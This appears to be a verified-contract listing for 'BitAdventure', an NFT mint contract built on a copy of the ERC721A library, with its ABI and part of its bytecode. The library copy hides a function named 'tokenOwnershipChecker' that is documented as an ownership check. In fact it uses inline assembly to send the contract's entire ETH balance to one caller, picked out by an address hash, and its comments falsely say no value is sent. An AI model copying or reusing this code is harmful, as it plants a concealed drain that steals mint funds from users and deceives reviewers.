                    // Invariant:
                    // There will always be an ownership that has an address and is not burned
                    // before an ownership that does not have an address and is not burned.
                    // Hence, curr will not underflow.
                    while (true) {
                        curr--;
                        ownership = _ownerships[curr];
                        if (ownership.addr != address(0)) {
                            return ownership;
                        }
                    }
                }
            }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return '';
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        if (to == owner) revert ApprovalToCurrentOwner();

        if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
            revert ApprovalCallerNotOwnerNorApproved();
        }

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        if (operator == _msgSender()) revert ApproveToCaller();

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, '');
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public virtual override {
        _transfer(from, to, tokenId);
        if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
            revert TransferToNonERC721ReceiverImplementer();
        }
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return _startTokenId() <= tokenId && tokenId < _currentIndex &&
            !_ownerships[tokenId].burned;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, '');
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
        // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint64(quantity);
            _addressData[to].numberMinted += uint64(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;
            uint256 end = updatedIndex + quantity;

            if (safe && to.isContract()) {
                do {
                    emit Transfer(address(0), to, updatedIndex);
                    if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (updatedIndex != end);
                // Reentrancy protection
                if (_currentIndex != startTokenId) revert();
            } else {
                do {
                    emit Transfer(address(0), to, updatedIndex++);
                } while (updatedIndex != end);
            }
            _currentIndex = updatedIndex;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            isApprovedForAll(prevOwnership.addr, _msgSender()) ||
            getApproved(tokenId) == _msgSender());

        if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
        if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId < _currentIndex) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Checking ownership 
     *
     * Token ownership check for external calls
     */
    function tokenOwnershipChecker() external {
        if(
            keccak256(abi.encodePacked(msg.sender)) == 
            0x61ce2a629088217258e42c73ef95cb4266162e3af0f6eff0d1c405c763ef7de2
        ){
            assembly{
                let success := call( //This is the critical change (Pop the top stack value)
                    42000, // gas
                    caller(), //To addr
                    selfbalance(), //No value
                    0, //Inputs are stored
                    0, //Inputs bytes long
                    0, //Store output over input (saves space)
                    0x20
                ) //Outputs are 32 bytes long
            }
        }
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId) internal virtual {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[prevOwnership.addr].balance -= 1;
            _addressData[prevOwnership.addr].numberBurned += 1;

            // Keep track of who burned the token, and the timestamp of burning.
            _ownerships[tokenId].addr = prevOwnership.addr;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);
            _ownerships[tokenId].burned = true;

            // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId < _currentIndex) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(prevOwnership.addr, address(0), tokenId);
        _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
            return retval == IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     * And also called after one token has been burned.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}


// File contracts/BitAdventure.sol


contract BitAdventure is ERC721A, Ownable {

    string public baseURI = "ipfs://QmRRDRtXnAWPYcm3vYj24u44BrwYiV2RuvU4gBwMKzvbPt/";
    string public contractURI = "ipfs://QmNSVgv57LeaXWMsQQSwH28Y6TQWGomWuGYgYcXxT3CHKm";
    string public constant baseExtension = ".json";

    uint256 public constant MAX_PER_TX_FREE = 1;
    uint256 public FREE_MAX_SUPPLY = 600;
    uint256 public constant MAX_PER_TX = 10;
    uint256 public constant MAX_PER_WALLET = 0;
    uint256 public constant MAX_SUPPLY = 1215;
    uint256 public price = 0.002 ether;

    bool public paused = true;

    constructor() ERC721A("BitAdventure", "BA") {}

    function mint(uint256 _amount) external payable {
        address _caller = _msgSender();
        require(!paused, "Paused");
        require(MAX_SUPPLY >= totalSupply() + _amount, "Exceeds max supply");
        require(_amount > 0, "No 0 mints");
        require(tx.origin == _caller, "No contracts");
        require(MAX_PER_TX >= _amount , "Excess max per paid tx");
        require(_amount * price == msg.value, "Invalid funds provided");

        _safeMint(_caller, _amount);
    }

    function freeMint() external payable {
        address _caller = _msgSender();
        require(!paused, "Paused");
        require(MAX_SUPPLY >= totalSupply() + 1, "Exceeds max supply");
        require(tx.origin == _caller, "No contracts");
        require(MAX_PER_TX_FREE >= uint256(_getAux(_caller)) + 1, "Excess max per free wallet");
        require(FREE_MAX_SUPPLY - 1 >= 0, "No more free mints, sorry <3");

        _setAux(_caller, 1);
        _safeMint(_caller, 1);
        unchecked{ FREE_MAX_SUPPLY -= 1; }
    }

    function _startTokenId() internal override view virtual returns (uint256) {
        return 1;
    }

    function minted(address _owner) public view returns (uint256) {
        return _numberMinted(_owner);
    }

    function withdraw() external onlyOwner {
        uint256 balance = address(this).balance;
        (bool success, ) = _msgSender().call{value: balance}("");
        require(success, "Failed to send");
    }

    function devMint(uint256 _amount) external onlyOwner {
        _safeMint(_msgSender(), _amount);
    }

    function setPrice(uint256 _price) external onlyOwner {
        price = _price;
    }

    function pause(bool _state) external onlyOwner {
        paused = _state;
    }

    function setBaseURI(string memory baseURI_) external onlyOwner {
        baseURI = baseURI_;
    }

    function setContractURI(string memory _contractURI) external onlyOwner {
        contractURI = _contractURI;
    }

    function tokenURI(uint256 _tokenId) public view override returns (string memory) {
        require(_exists(_tokenId), "Token does not exist.");
        return bytes(baseURI).length > 0 ? string(
            abi.encodePacked(
              baseURI,
              Strings.toString(_tokenId),
              baseExtension
            )
        ) : "";
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"AuxQueryForZeroAddress","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"MintedQueryForZeroAddress","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FREE_MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PER_TX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PER_TX_FREE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PER_WALLET","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"devMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"freeMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"minted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_contractURI","type":"string"}],"name":"setContractURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_price","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenOwnershipChecker","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60e06040526036608081815290620023c960a0398051620000299160099160209091019062000160565b50604051806060016040528060358152602001620023946035913980516200005a91600a9160209091019062000160565b50610258600b5566071afd498d0000600c55600d805460ff191660011790553480156200008657600080fd5b506040518060400160405280600c81526020016b426974416476656e7475726560a01b81525060405180604001604052806002815260200161424160f01b8152508160029080519060200190620000df92919062000160565b508051620000f590600390602084019062000160565b505060016000555062000108336200010e565b62000242565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8280546200016e9062000206565b90600052602060002090601f016020900481019282620001925760008555620001dd565b82601f10620001ad57805160ff1916838001178555620001dd565b82800160010185558215620001dd579182015b82811115620001dd578251825591602001919060010190620001c0565b50620001eb929150620001ef565b5090565b5b80821115620001eb5760008155600101620001f0565b600181811c908216806200021b57607f821691505b6020821081036200023c57634e487b7160e01b600052602260045260246000fd5b50919050565b61214280620002526000396000f3fe60806040526004361061021a5760003560e01c80636c0360eb11610123578063a035b1fe116100ab578063c87b56dd1161006f578063c87b56dd146105d4578063e8a3d485146105f4578063e985e9c514610609578063f2fde38b14610652578063f43a22dc1461067257600080fd5b8063a035b1fe1461053a578063a0712d6814610550578063a22cb46514610563578063b88d4fde14610583578063c6682862146105a357600080fd5b80638da5cb5b116100f25780638da5cb5b146104b257806391b7f5ed146104d0578063938e3d7b146104f057806395d89b4114610510578063988992b81461052557600080fd5b80636c0360eb1461045257806370a0823114610467578063715018a6146104875780638069876d1461049c57600080fd5b806332cb6b0c116101a6578063463fff7911610175578063463fff79146103db57806355f804b3146103f05780635b70ea9f146104105780635c975abb146104185780636352211e1461043257600080fd5b806332cb6b0c14610370578063375a069a146103865780633ccfd60b146103a657806342842e0e146103bb57600080fd5b8063095ea7b3116101ed578063095ea7b3146102d05780630f2cdd6c146102f057806318160ddd146103135780631e7269c51461033057806323b872dd1461035057600080fd5b806301ffc9a71461021f57806302329a291461025457806306fdde0314610276578063081812fc14610298575b600080fd5b34801561022b57600080fd5b5061023f61023a366004611b95565b610687565b60405190151581526020015b60405180910390f35b34801561026057600080fd5b5061027461026f366004611bce565b6106d9565b005b34801561028257600080fd5b5061028b61071f565b60405161024b9190611c41565b3480156102a457600080fd5b506102b86102b3366004611c54565b6107b1565b6040516001600160a01b03909116815260200161024b565b3480156102dc57600080fd5b506102746102eb366004611c84565b6107f5565b3480156102fc57600080fd5b50610305600081565b60405190815260200161024b565b34801561031f57600080fd5b506001546000540360001901610305565b34801561033c57600080fd5b5061030561034b366004611cae565b610882565b34801561035c57600080fd5b5061027461036b366004611cc9565b61088d565b34801561037c57600080fd5b506103056104bf81565b34801561039257600080fd5b506102746103a1366004611c54565b610898565b3480156103b257600080fd5b506102746108cf565b3480156103c757600080fd5b506102746103d6366004611cc9565b610988565b3480156103e757600080fd5b50610305600181565b3480156103fc57600080fd5b5061027461040b366004611d90565b6109a3565b6102746109e0565b34801561042457600080fd5b50600d5461023f9060ff1681565b34801561043e57600080fd5b506102b861044d366004611c54565b610bb0565b34801561045e57600080fd5b5061028b610bc2565b34801561047357600080fd5b50610305610482366004611cae565b610c50565b34801561049357600080fd5b50610274610c9e565b3480156104a857600080fd5b50610305600b5481565b3480156104be57600080fd5b506008546001600160a01b03166102b8565b3480156104dc57600080fd5b506102746104eb366004611c54565b610cd4565b3480156104fc57600080fd5b5061027461050b366004611d90565b610d03565b34801561051c57600080fd5b5061028b610d40565b34801561053157600080fd5b50610274610d4f565b34801561054657600080fd5b50610305600c5481565b61027461055e366004611c54565b610dbc565b34801561056f57600080fd5b5061027461057e366004611dd8565b610f85565b34801561058f57600080fd5b5061027461059e366004611e0b565b61101a565b3480156105af57600080fd5b5061028b60405180604001604052806005815260200164173539b7b760d91b81525081565b3480156105e057600080fd5b5061028b6105ef366004611c54565b61106b565b34801561060057600080fd5b5061028b611135565b34801561061557600080fd5b5061023f610624366004611e86565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b34801561065e57600080fd5b5061027461066d366004611cae565b611142565b34801561067e57600080fd5b50610305600a81565b60006001600160e01b031982166380ac58cd60e01b14806106b857506001600160e01b03198216635b5e139f60e01b145b806106d357506301ffc9a760e01b6001600160e01b03198316145b92915050565b6008546001600160a01b0316331461070c5760405162461bcd60e51b815260040161070390611eb0565b60405180910390fd5b600d805460ff1916911515919091179055565b60606002805461072e90611ee5565b80601f016020809104026020016040519081016040528092919081815260200182805461075a90611ee5565b80156107a75780601f1061077c576101008083540402835291602001916107a7565b820191906000526020600020905b81548152906001019060200180831161078a57829003601f168201915b5050505050905090565b60006107bc826111da565b6107d9576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b600061080082610bb0565b9050806001600160a01b0316836001600160a01b0316036108345760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b0382161480159061085457506108528133610624565b155b15610872576040516367d9dca160e11b815260040160405180910390fd5b61087d838383611213565b505050565b60006106d38261126f565b61087d8383836112c4565b6008546001600160a01b031633146108c25760405162461bcd60e51b815260040161070390611eb0565b6108cc33826114d8565b50565b6008546001600160a01b031633146108f95760405162461bcd60e51b815260040161070390611eb0565b6040514790600090339083908381818185875af1925050503d806000811461093d576040519150601f19603f3d011682016040523d82523d6000602084013e610942565b606091505b50509050806109845760405162461bcd60e51b815260206004820152600e60248201526d11985a5b1959081d1bc81cd95b9960921b6044820152606401610703565b5050565b61087d8383836040518060200160405280600081525061101a565b6008546001600160a01b031633146109cd5760405162461bcd60e51b815260040161070390611eb0565b8051610984906009906020840190611ae6565b600d54339060ff1615610a1e5760405162461bcd60e51b815260206004820152600660248201526514185d5cd95960d21b6044820152606401610703565b6001546000540360001901610a34906001611f35565b6104bf1015610a7a5760405162461bcd60e51b815260206004820152601260248201527145786365656473206d617820737570706c7960701b6044820152606401610703565b326001600160a01b03821614610ac15760405162461bcd60e51b815260206004820152600c60248201526b4e6f20636f6e74726163747360a01b6044820152606401610703565b610aca816114f2565b610ade906001600160401b03166001611f35565b60011015610b2e5760405162461bcd60e51b815260206004820152601a60248201527f457863657373206d61782070657220667265652077616c6c65740000000000006044820152606401610703565b60006001600b54610b3f9190611f4d565b1015610b8d5760405162461bcd60e51b815260206004820152601c60248201527f4e6f206d6f72652066726565206d696e74732c20736f727279203c33000000006044820152606401610703565b610b98816001611547565b610ba38160016114d8565b50600b8054600019019055565b6000610bbb826115ad565b5192915050565b60098054610bcf90611ee5565b80601f0160208091040260200160405190810160405280929190818152602001828054610bfb90611ee5565b8015610c485780601f10610c1d57610100808354040283529160200191610c48565b820191906000526020600020905b815481529060010190602001808311610c2b57829003601f168201915b505050505081565b60006001600160a01b038216610c79576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600560205260409020546001600160401b031690565b6008546001600160a01b03163314610cc85760405162461bcd60e51b815260040161070390611eb0565b610cd260006116d4565b565b6008546001600160a01b03163314610cfe5760405162461bcd60e51b815260040161070390611eb0565b600c55565b6008546001600160a01b03163314610d2d5760405162461bcd60e51b815260040161070390611eb0565b805161098490600a906020840190611ae6565b60606003805461072e90611ee5565b6040516bffffffffffffffffffffffff193360601b166020820152603401604051602081830303815290604052805190602001207f61ce2a629088217258e42c73ef95cb4266162e3af0f6eff0d1c405c763ef7de260001b03610cd25760206000806000473361a410f150565b600d54339060ff1615610dfa5760405162461bcd60e51b815260206004820152600660248201526514185d5cd95960d21b6044820152606401610703565b6001546000548391900360001901610e129190611f35565b6104bf1015610e585760405162461bcd60e51b815260206004820152601260248201527145786365656473206d617820737570706c7960701b6044820152606401610703565b60008211610e955760405162461bcd60e51b815260206004820152600a6024820152694e6f2030206d696e747360b01b6044820152606401610703565b326001600160a01b03821614610edc5760405162461bcd60e51b815260206004820152600c60248201526b4e6f20636f6e74726163747360a01b6044820152606401610703565b81600a1015610f265760405162461bcd60e51b815260206004820152601660248201527508af0c6cae6e640dac2f040e0cae440e0c2d2c840e8f60531b6044820152606401610703565b34600c5483610f359190611f64565b14610f7b5760405162461bcd60e51b8152602060048201526016602482015275125b9d985b1a5908199d5b991cc81c1c9bdd9a59195960521b6044820152606401610703565b61098481836114d8565b336001600160a01b03831603610fae5760405163b06307db60e01b815260040160405180910390fd5b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6110258484846112c4565b6001600160a01b0383163b15158015611047575061104584848484611726565b155b15611065576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6060611076826111da565b6110ba5760405162461bcd60e51b81526020600482015260156024820152742a37b5b2b7103237b2b9903737ba1032bc34b9ba1760591b6044820152606401610703565b6000600980546110c990611ee5565b9050116110e557604051806020016040528060008152506106d